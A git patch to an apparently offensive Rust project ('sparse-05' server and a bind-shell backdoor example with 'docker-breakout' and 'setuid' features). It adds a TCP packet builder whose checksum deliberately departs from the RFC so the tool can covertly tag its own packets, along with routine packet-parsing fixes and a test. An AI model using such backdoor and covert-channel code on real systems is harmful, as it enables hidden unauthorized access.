From e5f6c2aa7ed87e8de3050431a7a08e65339c0cbd Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Mon, 18 Sep 2023 01:29:05 -0400 Subject: [PATCH] feat: added modified TCP packet parser checksum generation code is different, to allow for some sneaky tricks with regards to identifying the sparse session but binding to the same port multiple times --- Cargo.lock | 1 + examples/bind-shell/backdoor/Cargo.toml | 2 +- examples/bind-shell/backdoor/src/main.rs | 4 +- packets/src/lib.rs | 106 +++++++++++++++++-- sparse-05/sparse-05-server/src/connection.rs | 12 ++- sparse-05/sparse-05-server/src/interface.rs | 4 +- sparse-05/sparse-05-server/src/main.rs | 12 ++- tcp-test/client/Cargo.toml | 1 + tcp-test/client/src/main.rs | 16 ++- 9 files changed, 137 insertions(+), 21 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 13b6f77..b802102 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1298,6 +1298,7 @@ version = "0.1.0" dependencies = [ "anyhow", "nl-sys", + "packets", "pcap-sys", "rand 0.8.5", "tokio", diff --git a/examples/bind-shell/backdoor/Cargo.toml b/examples/bind-shell/backdoor/Cargo.toml index 3b71816..91453c9 100644 --- a/examples/bind-shell/backdoor/Cargo.toml +++ b/examples/bind-shell/backdoor/Cargo.toml @@ -22,4 +22,4 @@ cc = "1.0" [features] docker-breakout = [] no-exit = [] -setuid = ["libc"] \ No newline at end of file +setuid = ["libc"] diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index ea0804b..c857e38 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -139,7 +139,9 @@ async fn handle_command( use pcap_sys::packets::*; let eth_pkt = eth.pkt(); let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let source_port = udp_pkt.srcport(); diff --git a/packets/src/lib.rs b/packets/src/lib.rs index 5bfefa1..b0cf333 100644 --- a/packets/src/lib.rs +++ b/packets/src/lib.rs @@ -452,13 +452,14 @@ impl TCPPacket { } } +#[derive(Default)] pub struct TCPPacketBuilder { - srcport: u16, - dstport: u16, - seqnumber: u32, + srcport: Option, + dstport: Option, + seqnumber: Option, acknumber: u32, flags: u8, - window: u16, + window: Option, urgent_ptr: u16, options: Vec, } @@ -478,17 +479,17 @@ macro_rules! declare_flag { impl TCPPacketBuilder { pub fn srcport(mut self, port: u16) -> Self { - self.srcport = port; + self.srcport = Some(port); self } pub fn dstport(mut self, port: u16) -> Self { - self.dstport = port; + self.dstport = Some(port); self } pub fn seqnumber(mut self, num: u32) -> Self { - self.seqnumber = num; + self.seqnumber = Some(num); self } @@ -507,7 +508,7 @@ impl TCPPacketBuilder { declare_flag!(fin, 0x01); pub fn window(mut self, window: u16) -> Self { - self.window = window; + self.window = Some(window); self } @@ -531,6 +532,93 @@ impl TCPPacketBuilder { let protocol = &[0x00u8, 0x06u8]; - let tcp_length = data.len() + self.options.len() + 32; + let tcp_length = (data.len() + self.options.len() + 20) as u16; + + let srcport = self.srcport.unwrap(); + let dstport = self.dstport.unwrap(); + let seqnumber = self.seqnumber.unwrap(); + let window = self.window.unwrap(); + + let len: u8 = (self.options.len() / 4 + 5).try_into().unwrap(); + let len = len << 4; + + let mut bytes = [ + &source.octets()[..], + &dest.octets(), + protocol, + &tcp_length.to_be_bytes(), + &srcport.to_be_bytes()[..], + &dstport.to_be_bytes(), + &seqnumber.to_be_bytes(), + &self.acknumber.to_be_bytes(), + &[len], + &[self.flags], + &window.to_be_bytes(), + &[0, 0], + &self.urgent_ptr.to_be_bytes(), + &self.options, + &data, + ] + .concat(); + + let checksum = bytes + .chunks(2) + .map(|pair| { + if pair.len() == 1 { + (pair[0] as u32) << 8 + } else { + (pair[0] as u32) << 8 | (pair[1] as u32) + } + }) + .fold(0u32, |acc, e| acc + e) + + 30; + // + 30 to intentionally deviate from + // the RFC, to make it so that I can identify the packets as sparse + // packets + + let checksum = (checksum >> 16) + (checksum & 0xffff); + let checksum = ((checksum >> 16) as u16) + (checksum as u16); + let checksum = dbg!(!checksum).to_be_bytes(); + + //bytes[16] = checksum[0]; + //bytes[17] = checksum[1]; + bytes[28] = checksum[0]; + bytes[29] = checksum[1]; + + TCPPacket { + data: bytes[12..].to_vec(), + } + } +} + +#[cfg(test)] +mod test { + use std::net::Ipv4Addr; + + #[test] + fn test_tcp_checksum() { + let srcip = Ipv4Addr::new(127, 0, 0, 1); + let dstip = srcip.clone(); + + let packet = super::TCPPacketBuilder::default() + .srcport(36916) + .dstport(54248) + .seqnumber(0xFD65_CA26) + .syn(true) + .window(65495) + .options(vec![ + 0x02, 0x04, 0xff, 0xd7, 0x04, 0x02, 0x08, 0x0a, 0xce, 0x4e, 0xad, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x03, 0x03, 0x07, + ]) + .build(srcip, dstip, vec![]); + + assert_eq!( + &packet.data, + &vec![ + 0x90, 0x34, 0xd3, 0xe8, 0xfd, 0x65, 0xca, 0x26, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x02, + 0xff, 0xd7, 0xfe, 0x30, 0x00, 0x00, 0x02, 0x04, 0xff, 0xd7, 0x04, 0x02, 0x08, 0x0a, + 0xce, 0x4e, 0xad, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01, 0x03, 0x03, 0x07 + ] + ); } } diff --git a/sparse-05/sparse-05-server/src/connection.rs b/sparse-05/sparse-05-server/src/connection.rs index c453776..f78c260 100644 --- a/sparse-05/sparse-05-server/src/connection.rs +++ b/sparse-05/sparse-05-server/src/connection.rs @@ -105,7 +105,9 @@ pub fn spawn_connection_handler( let packet = connection_packet.pkt(); let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let data = udp_pkt.get_data(); @@ -198,7 +200,9 @@ fn authenticate( use packets::*; let p = p.pkt(); let Layer3Pkt::IPv4Pkt(ip_pkt) = p.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let Ok(data) = conninfo.try_decrypt_and_verify(udp_pkt.get_data()) else { counter += 1; @@ -246,7 +250,9 @@ where let pkt = msg.pkt(); let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; if ip_pkt.source_ip() != conninfo.srcip || udp_pkt.srcport() != conninfo.srcport { continue; diff --git a/sparse-05/sparse-05-server/src/interface.rs b/sparse-05/sparse-05-server/src/interface.rs index 54b3c3d..eda0f61 100644 --- a/sparse-05/sparse-05-server/src/interface.rs +++ b/sparse-05/sparse-05-server/src/interface.rs @@ -111,7 +111,9 @@ impl InterfaceSender { Self::Udp(interf) => { use packets::*; let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let addr = SocketAddrV4::new(ip_pkt.dest_ip(), udp_pkt.dstport()); diff --git a/sparse-05/sparse-05-server/src/main.rs b/sparse-05/sparse-05-server/src/main.rs index 4e49b01..d5af914 100644 --- a/sparse-05/sparse-05-server/src/main.rs +++ b/sparse-05/sparse-05-server/src/main.rs @@ -49,7 +49,9 @@ fn main() -> anyhow::Result<()> { let (kill_connection, kill_connection_recv) = channel::<(Ipv4Addr, u16)>(); thread::spawn(move || loop { - let Ok(packet) = recv_eth_packet.recv() else { continue }; + let Ok(packet) = recv_eth_packet.recv() else { + continue; + }; if let Err(_) = interface_sender.sendpacket(packet.pkt()) {} }); @@ -57,7 +59,9 @@ fn main() -> anyhow::Result<()> { s.spawn({ let connections = &connections; move || loop { - let Ok(connection) = kill_connection_recv.recv() else { continue }; + let Ok(connection) = kill_connection_recv.recv() else { + continue; + }; if let Ok(mut e) = connections.lock() { e.remove(&connection); } @@ -71,7 +75,9 @@ fn main() -> anyhow::Result<()> { let pkt = pkt.pkt(); let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let connection_handle = &(ip_pkt.dest_ip(), udp_pkt.srcport()); diff --git a/tcp-test/client/Cargo.toml b/tcp-test/client/Cargo.toml index 0ca6754..8952797 100644 --- a/tcp-test/client/Cargo.toml +++ b/tcp-test/client/Cargo.toml @@ -7,6 +7,7 @@ edition = "2021" [dependencies] pcap-sys = { path = "../../pcap-sys" } +packets = { path = "../../packets" } nl-sys = { path = "../../nl-sys" } rand = "0.8.5" tokio = { version = "1.32.0", features = ["full"] } diff --git a/tcp-test/client/src/main.rs b/tcp-test/client/src/main.rs index 62106ee..877310d 100644 --- a/tcp-test/client/src/main.rs +++ b/tcp-test/client/src/main.rs @@ -3,6 +3,11 @@ use std::net::Ipv4Addr; use anyhow::anyhow; use nl_sys::{netlink, route}; +use packets::EthernetPacket; + +struct TcpConnection { + packets_to_ack: Vec, +} #[tokio::main] async fn main() -> anyhow::Result<()> { @@ -27,7 +32,7 @@ async fn main() -> anyhow::Result<()> { (ifname, srcip, srcmac, dstmac) }; - let mut interface = pcap_sys::new_aggregate_interface(false)?; + let mut interface = pcap_sys::Interface::::new(&ifname)?; interface.set_buffer_size(8192)?; interface.set_non_blocking(true)?; @@ -36,9 +41,14 @@ async fn main() -> anyhow::Result<()> { let mut interface = interface.activate()?; - interface.set_filter("inbound and tcp port 54249", true, None)?; + let port: u16 = loop { + let port = rand::random(); + if port > 30_000 { + break port; + } + }; - interface.prune(|_, interface| interface.datalink() != pcap_sys::consts::DLT_EN10MB); + interface.set_filter(&format!("inbound and tcp port {}", port), true, None)?; Ok(()) }